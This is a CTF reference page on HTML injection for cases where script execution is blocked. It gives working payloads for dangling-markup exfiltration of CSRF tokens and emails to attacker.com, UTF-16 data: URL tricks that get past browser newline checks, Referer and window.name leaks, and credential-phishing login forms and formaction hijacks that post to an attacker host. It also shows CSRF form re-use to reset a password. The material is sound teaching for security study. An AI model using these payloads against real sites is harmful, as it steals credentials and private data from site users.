🚩
Practical CTF
BlogContact
  • 🚩Home - Practical CTF
  • 🌐Web
    • Enumeration
      • Finding Hosts & Domains
      • Masscan
      • Nmap
      • OSINT
    • Client-Side
      • Cross-Site Scripting (XSS)
        • HTML Injection
        • Content-Security-Policy (CSP)
      • CSS Injection
      • Cross-Site Request Forgery (CSRF)
      • XS-Leaks
      • Window Popup Tricks
      • Header / CRLF Injection
      • WebSockets
      • Caching
    • Server-Side
      • SQL Injection
      • NoSQL Injection
      • GraphQL
      • XML External Entities (XXE)
      • HTTP Request Smuggling
      • Local File Disclosure
      • Arbitrary File Write
      • Reverse Proxies
    • Frameworks
      • Flask
      • Ruby on Rails
      • NodeJS
      • Bun
      • WordPress
      • Angular
    • Chrome Remote DevTools
    • ImageMagick
  • 🔣Cryptography
    • Encodings
    • Ciphers
    • Custom Ciphers
      • Z3 Solver
    • XOR
    • Asymmetric Encryption
      • RSA
      • Diffie-Hellman
      • PGP / GPG
    • AES
    • Hashing
      • Cracking Hashes
      • Cracking Signatures
    • Pseudo-Random Number Generators (PRNG)
    • Timing Attacks
    • Blockchain
      • Smart Contracts
      • Bitcoin addresses
  • 🔎Forensics
    • Wireshark
    • File Formats
    • Archives
    • Memory Dumps (Volatility)
    • VBA Macros
    • Grep
    • Git
    • File Recovery
  • ⚙️Reverse Engineering
    • Ghidra
    • Angr Solver
    • Reversing C# - .NET / Unity
    • PowerShell
  • 📟Binary Exploitation
    • ir0nstone's Binary Exploitation Notes
    • Reverse Engineering for Pwn
    • PwnTools
    • ret2win
    • ret2libc
    • Shellcode
    • Stack Canaries
    • Return-Oriented Programming (ROP)
      • SigReturn-Oriented Programming (SROP)
      • ret2dlresolve
    • Sandboxes (chroot, seccomp & namespaces)
    • Race Conditions
  • 📲Mobile
    • Setup
    • Reversing APKs
    • Patching APKs
    • HTTP(S) Proxy for Android
    • Android Backup
    • Compiling C for Android
    • iOS
  • 🌎Languages
    • PHP
    • Python
    • JavaScript
      • Prototype Pollution
      • postMessage Exploitation
    • Java
    • C#
    • Assembly
    • Markdown
    • LaTeX
    • JSON
    • YAML
    • CodeQL
    • NASL (Nessus Plugins)
    • Regular Expressions (RegEx)
  • 🤖Networking
    • Modbus - TCP/502
    • Redis/Valkey - TCP/6379
  • 🐧Linux
    • Shells
    • Bash
    • Linux Privilege Escalation
      • Enumeration
      • Networking
      • Command Triggers
      • Command Exploitation
      • Outdated Versions
      • Network File Sharing (NFS)
      • Docker
      • Filesystem Permissions
    • Analyzing Processes
  • 🪟Windows
    • The Hacker Recipes - AD
    • Scanning/Spraying
    • Exploitation
    • Local Enumeration
    • Local Privilege Escalation
    • Windows Authentication
      • Kerberos
      • NTLM
    • Lateral Movement
    • Active Directory Privilege Escalation
    • Persistence
    • Antivirus Evasion
    • Metasploit
    • Alternate Data Streams (ADS)
  • ☁️Cloud
    • Kubernetes
    • Microsoft Azure
  • ❔Other
    • Business Logic Errors
    • Password Managers
    • ANSI Escape Codes
    • WSL Tips
Powered by GitBook
On this page
  • # Related Pages
  • Dangling Markup
  • Bypass newline detection
  • Leak via Referer
  • CSS Injection
  • Referer
  • DOM Clobbering
  • Phishing
  • Iframes
  • Forms
  1. Web
  2. Client-Side
  3. Cross-Site Scripting (XSS)

HTML Injection

Tricks possible with malicious HTML, in case XSS is not quite possible

PreviousCross-Site Scripting (XSS)NextContent-Security-Policy (CSP)

Last updated 9 hours ago

# Related Pages

Dangling Markup

The idea of is to write incomplete HTML that slots sensitive information into some leakable field, such as an <img src=. By starting it with a ' but not ending it, any other HTML will be appended to it, finally being close by a natural ' anywhere below the injection point.

Payload
<img src='//attacker-website.com?
HTML Source
<img src='https://attacker.com?</div>
<input type="hidden" name="csrf" value="1337">
</form>
<p>I'm hacked? Oh no!</p>

This results in a request to the following URL, which the attacker can decode to get the value of the sensitive CSRF token:

One annoying thing to work with is that Chromium denies any URLs (or target values) containing newlines. If the leaked content contains any newlines, as is pretty common for HTML, the attacker cannot receive a request. Minifiers will sometimes remove newlines as they are unnecessary, but more often than not, you will have to deal with this. Firefox still allows newlines in URLs, though, so you're not left without impact.

Another idea is to use <textarea>, as it will only be closed by the </textarea> string, or at the end of the document. You can then wrap this in a form to an attacker with a large submit button that leaks the value on click:

HTML Source
<form action="https://attacker.com">
<button type="submit" style="position: fixed; z-index: 999999; top: 0; left: 0;
                             width: 100vw; height: 100vh; opacity: 0"></button>
<textarea name="leak">
<p>Your email: victim@example.com</p>

While this works on Firefox too, unfortunately Chromium also has a protection against this. There needs to be a natural </textarea> somewhere after your injection point.

Bypass newline detection

UTF-16 iframe/stylesheet content

One very creative idea to bypass this restriction without scripts is if <iframe> tags are allowed with a src=data:. If this is the case, you can start a document with a UTF-16 charset and start a URL from there. The content after it will still be included in the src=, but is decoded as UTF-16, creating random chinese characters. The URL will then contain these high unicode characters instead of newlines, so they are allowed.

We'll use a leak method that automatically closes itself at the end of the document:

Encoded prefix
<style>*{background-image: url(https://attacker.com?
Payload
<iframe src='data:text/html;charset=utf-16,%3C%00s%00t%00y%00l%00e%00%3E%00%2A%00%7B%00b%00a%00c%00k%00g%00r%00o%00u%00n%00d%00%2D%00i%00m%00a%00g%00e%00%3A%00%20%00u%00r%00l%00%28%00h%00t%00t%00p%00s%00%3A%00%2F%00%2F%00a%00t%00t%00a%00c%00k%00e%00r%00%2E%00c%00o%00m%00%3F%00

Any leak-worthy content can now be added to the end, until a ' closes it off:

HTML Source
<iframe src='data:text/html;charset=utf-16,%3C%00s%00t%00y%00l%00e%00%3E%00%2A%00%7B%00b%00a%00c%00k%00g%00r%00o%00u%00n%00d%00%2D%00i%00m%00a%00g%00e%00%3A%00%20%00u%00r%00l%00%28%00h%00t%00t%00p%00s%00%3A%00%2F%00%2F%00a%00t%00t%00a%00c%00k%00e%00r%00%2E%00c%00o%00m%00%3F%00
<p>Your email: victim@example.com</p>
<footer>That's all folks!</footer>

In the browser, the content inside the iframe now looks like our injected prefix, with some random characters after it. This causes the background image request to be sent:

The above leak can be decoded back into the original characters by reading the UTF-16 characters as bytes. This is easily done in Python:

Decode leak
from urllib.parse import unquote
leak = "%E3%B0%8A%E3%B9%B0%E6%BD%99%E7%89%B5%E6%94%A0%E6%85%AD%E6%B1%A9%E2%80%BA%E6%A5%B6%E7%91%A3%E6%B5%A9%E6%95%80%E6%85%B8%E7%81%AD%E6%95%AC%E6%8C%AE%E6%B5%AF%E2%BC%BC%E3%B9%B0%E3%B0%8A%E6%BD%A6%E7%91%AF%E7%89%A5%E5%90%BE%E6%85%A8"
print(unquote(leak).encode('utf-16-le').decode("utf-8"))
# b'\n<p>Your email: victim@example.com</p>\n<footer>Tha'
Encoded prefix
*{background-image: url(https://attacker.com?
Payload
<link rel="stylesheet" href='data:text/css;charset=utf-16,%2A%00%7B%00b%00a%00c%00k%00g%00r%00o%00u%00n%00d%00%2D%00i%00m%00a%00g%00e%00%3A%00%20%00u%00r%00l%00%28%00h%00t%00t%00p%00s%00%3A%00%2F%00%2F%00a%00t%00t%00a%00c%00k%00e%00r%00%2E%00c%00o%00m%00%3F%00

Although note that at this point, you are likely able to leak content through CSS Injection as well.

Iframe name attribute

When you are able to create an iframe with a remote source, the name= attribute is leakable cross-origin by reading the window.name variable as the attacker. This may include newlines even on Chromium, because it is not a URL or target:

HTML Source
<iframe src="https://attacker.com" name='
<p>Your email: victim@example.com</p>
<footer>That's all folks!</footer>
Attacker Console
> window.name
'\n<p>Your email: victim@example.com</p>\n<footer>That'

This same attack works with <object data=> and <embed src=> tags too, which may have a more lax CSP.

Leak via Referer

Using the following injection, it is possible to leak the current URL via the Referer request header:

Referer leak
<img src="https://attacker.com" referrerpolicy="unsafe-url">

It will include all query parameters, and we can put sensitive dangled information in there by making a form with a GET method first:

HTML Source
<form action="/referer-leak" method="GET">
<button type="submit" style="position: fixed; z-index: 999999; top: 0; left: 0;
                             width: 100vw; height: 100vh; opacity: 0"></button>
<textarea name="leak">
<p>Your email: victim@example.com</p>
<div class="note">
  <textarea></textarea>
</div>

This action= points to the location where the second referer-leaking HTML injection is stored. After clicking anywhere, the form submits and the value of the textarea is put into the ?leak= query parameter. This allows it to be leaked by the referer payload:

This will trigger the following request, that the attacker can decode to find the leaked information:

GET / HTTP/1.1
Host: attacker.com
Referer: https://target.com/vulnerable?html=%3Cimg+src%3Dhttps%3A%2F%2Fattacker.com+referrerpolicy%3Dunsafe-url%3E&leak=%3Cp%3EYour+email%3A+victim%40example.com%3C%2Fp%3E%0D%0A%3Cdiv+class%3D%22write-note%22%3E%0D%0A++%3Ctextarea%3E

If the HTML-injection is reflected with a GET parameter, you can elegantly include this parameter in the form submission to the vulnerable endpoint:

HTML Source
<form action="" method="GET">
<input type="hidden" name="html" value="<img src=https://attacker.com referrerpolicy=unsafe-url>">
<button type="submit" style="position: fixed; z-index: 999999; top: 0; left: 0;
                             width: 100vw; height: 100vh; opacity: 0"></button>
<textarea name="leak">
<p>Your email: victim@example.com</p>
<div class="note">
  <textarea></textarea>
</div>

It will redirect the victim to the current path with query parameters like:

Then, the same as with the stored example happens, the injected referer payload leaks the current URL with &leak=, and the attacker can decode it from their server logs.

CSS Injection

If you can inject <style> tags, check out the following page on how to abuse that to leak other content on the page through selectors and fonts:

In case you can only set the style= attribute, you cannot work with selectors or define fonts. This limits your abilities, but still allows two main ideas:

  1. Set specific styles to full-screen any element you want, like an image to phish the user with a message and QR code, or even an iframe as explained in Iframes.

  2. Use background-image: url(...) to trigger a subresource request that can return a malicious Link: header as explained in Link response header with preload.

Referer

Fun fact: The name "referer" is actually a misspelling that made it irrecoverably deep into the specification. it leaves us with the situation where some references to it as spelled as "referer", while others say "referrer".

The most straight-forward way would be to use a Header / CRLF Injection to set it as a header:

Referrer-Policy: unsafe-url
<meta name="referrer" content="unsafe-url">

You'd now need to load any resource from an attacker's domain (like an <img>), and the whole current URL with parameters is sent to the attacker. When the CSP is in the way, a <meta http-equiv="Refresh"> cannot be blocked:

Redirecting response
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'none'
Content-Type: text/html

<meta name="referrer" content="unsafe-url">
<meta http-equiv="Refresh" content="0,url=https://example.com">

It allows a very simple way to leak the current URL through DOMPurify:

<meta name="referrer" content="unsafe-url">
<!-- Even though the above is sanitized away, it still applies to image that is left over -->
<img src="https://attacker.com">

Attribute Injection

Individual elements can also be altered using the referrerpolicy= attribute. This is useful if you have an attacker-controlled resource:

<img src="http://attacker.com" referrerpolicy="unsafe-url">

The <meta> tag and referrerpolicy= methods don't work on Firefox, as it denies less restricted policies via HTML for cross-site requests. Unless you are able to retrieve the Referer header from a same-site in any way, of course.

For more elements that request a certain URL and that you may control to send a referer to, check out the repository below with all known ways:

Link response header with preload

What this means is that all you need is for the target to load an <img> that points to your server, and you can return the following response header:

Link: </leak>; rel=preload; as=image; referrerpolicy=unsafe-url

This works for any subresource request to an attacker's domain, including things like stylesheet @import or @font-face if the CSP blocks images.

<style>
@import "https://attacker.com/link";  /* Required to be at the start of style tag */

@font-face {
  font-family: "leak";
  src: url(https://attacker.com/link);  /* Works from anywhere */
}
* {
  font-family: leak;
}
</style>

DOM Clobbering

One idea is to use DOM Clobbering, which is a technique that uses id's and other attributes of tags that make them accessible from JavaScript with the document.<name> syntax. The possibility of this depends on what sinks are available, and should be evaluated case-by-case:

Phishing

HTML is markup, so you can often use this to gain control over the page you are attacking in order to phish any users coming across it.

Iframes

Combining an <iframe> with <style>, you can create a full-screen phishing page on the target domain, that may fool any user coming across it as the domain seems correct.

Phishing
<iframe src="https://attacker.com"></iframe>
<style>
/* Make it take over the full screen, while still keeping a trusted address bar */
iframe {
    width: 100vw;
    height: 100vh;
    position: fixed;
    top: 0;
    left: 0;
    border: none;
}
</style>

Having your site iframes on a target also gives you a reference to it via top. Firstly, you can redirect the top-level page by setting its location =:

Inside attacker's frame
<script>
  top.location = "https://attacker-phishing.com"
</script>

If your injection is stored, it can be pretty convincing to suddenly be brought to a phishing page of the same application while browsing said application.

Forms

The previous phishing example is less likely to work on victims using a password manager, because the iframe is hosted on a different domain, it won't auto-complete like the user might be expecting. This can be improved by creating the phishing page natively inside your injection point.

Simply create a form with some inputs and a bunch of CSS (tip: re-use existing classes), recreating the real login page as closely as possible. But importantly, change the action= to your attacker's domain in order to receive the credentials. It may look something like this:

Replace page with form
<div style="position: fixed; top: 0; left: 0; width: 100vw; height: 100vh;
            z-index: 999999; background: white">
  <div class="d-flex flex-column h-100 justify-content-center align-items-center">
    <h1>Login</h1>
    <form action="https://attacker.com">
      <input class="form-control" type="text" name="username" placeholder="Username..." autofocus>
      <input class="form-control" type="text" name="password" placeholder="Password...">
      <button class="btn btn-primary" type="submit">Submit</button>
    </form>
  </div>
</div>

Because this HTML is hosted on the target directly, password managers with auto-fill functionality will not know the difference between this and the real thing!

Apart from leaking form inputs, you can also use forms to send specific requests form a trusted source. This can bypass checks like SameSite= cookies, the Origin: header or even CSRF tokens if JavaScript automatically adds them to any form on the page.

Rewrite form action from <input>

In rare cases it is possible to hijack existing forms to do what you want. For example, take the following source code and injection point, where we're able to add arguments:

<form action="/login" method="post">
  <input type="text" name="username">
  <input type="text" name="password">
  <button type="submit" class="INJECTION_HERE">Submit</button>
</form>

An injection like " formaction="https://attacker.com would cause pressing the button to send credentials to attacker.com instead:

Exploit
<button type="submit" class="" formaction="https://attacker.com">Submit</button>

CSRF form re-use

Another trick is to use the form= attribute to attach an <input> outside of any form to the form with that id=. If that already has a CSRF token, you can add any values to it, which will be trusted when submitting. To get more use out of it, you can add another button with relative formaction= that rewrites the destination, while retaining the CSRF token from the other form.

This effectively creates a perfect CSRF:

Exploit
<form id="search-form" action="/search" method="post">
  <input type="text" name="csrf" value="1337">
  <input type="hidden" name="query" value="">
  <button type="submit">Search</button>
</form>
<!-- Injection: -->
<input form="search-form" type="text" name="password" value="hacked">
<button form="search-form" formaction="/reset_password" type="submit" 
        style="position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; 
               z-index: 999999; opacity: 0"></button>

When clicking anywhere on the page, this sends a request like the following:

POST /reset_password HTTP/1.1
Host: target.com
Origin: https://target.com
Content-Type: application/x-www-form-urlencoded

csrf=1337&query=&password=hacked

Tip: if you need to change the method for any reason, the formmethod= attribute allows you to do so.

Check out the page below for more details on exploitation of CSRF:

Ideas taken from here:

This is now , and put into an iframe data: URL:

The same can be done by loading a stylesheet from data: like this ():

This next trick is for leaking with <textarea> using a form, while the CSP directive disallows external hosts. It only works in Chromium, so this requires a natural </textarea> after the injection point and the sensitive data.

The request header is sent by default for every request, containing the url the request was sent from. It means that something as simple as clicking a link going to an attacker from a target's domain, will leak the target's domain on which the link was clicked to the attacker. Well, that's how it used to work. Nowadays the defaults are more sensible, only sending the origin of the target instead of the full path and query parameters. This is controlled by the .

Query parameters can be very sensitive in situations like the technique, where you place the authorization code on a URL without using it, then leak it to use for yourself. Leakage through the Referer: header still has potential if you are able to alter the referrer policy.

This situation is unlikely though, something more common is the ability to insert limited HTML on a page. You can use this to alter the referrer policy using a tag:

Interestingly, the <meta> tag applies to the whole page, even during (without inserting into the DOM, ). This means client-side sanitizers that use this parsing function will accidentally apply the referrer policy before it can be sanitized!

This next trick feels like a bug in Chromium, but it's just an old feature that was never removed. shared that you can alter the referrer policy for a preload request that you give in a Link: response header to any subresource that goes to your server.

This can commonly be used to overwrite existing functions and crash them, or pollute element properties during HTML sanitization ( & ).

It also allows you to trigger handlers for all kinds of exploitation. Read more details on the page below:

🌐
Cross-Site Scripting (XSS)
Dangling Markup
https://attacker.com/?%3C/div%3E%3Cinput%20type=%22hidden%22%20name=%22csrf%22%20value=%221337%22%3E%3C/form%3E%3Cp%3EI
https://nzt-48.org/slides/how-to-bypass-the-Content-Security-Policy.pdf
encoded as UTF-16
https://attacker.com/?%E3%B0%8A%E3%B9%B0%E6%BD%99%E7%89%B5%E6%94%A0%E6%85%AD%E6%B1%A9%E2%80%BA%E6%A5%B6%E7%91%A3%E6%B5%A9%E6%95%80%E6%85%B8%E7%81%AD%E6%95%AC%E6%8C%AE%E6%B5%AF%E2%BC%BC%E3%B9%B0%E3%B0%8A%E6%BD%A6%E7%91%AF%E7%89%A5%E5%90%BE%E6%85%A8
encode
form-action
https://target.com/vulnerable?html=%3Cimg+src%3Dhttps%3A%2F%2Fattacker.com+referrerpolicy%3Dunsafe-url%3E&leak=%3Cp%3EYour+email%3A+victim%40example.com%3C%2Fp%3E%0D%0A%3Cdiv+class%3D%22write-note%22%3E%0D%0A++%3Ctextarea%3E
CSS Injection
Referer:
Referrer-Policy
"OAuth dirty dance"
<meta>
DOMParser.parseFromString()
only on Chromium
@slonser 🐘
example of parentNode
example of attributes
.postMessage()
postMessage Exploitation
Cross-Site Request Forgery (CSRF)
LogoHTTPLeaks/leak.html at main · cure53/HTTPLeaksGitHub
All known ways to send HTTP requests using markup
A simple reference with examples and tricks about DOM Clobbering ()
Cheat sheet on DOM Clobbering payload for various types of properties
DOM Clobbering
LogoDom ClobberingHackTricks
more detail
Chromium denying an implicitly closed <textarea>
Iframe loads with UTF-16 decoded content, sensitive data turned into chinese
Step 1: Prepare form that puts sensitive data in query parameter + large submit button
Step 2: After submitting, leak is in URL and victim is brought to referer leak
Exploit leaking referer from image
r.jtw.sh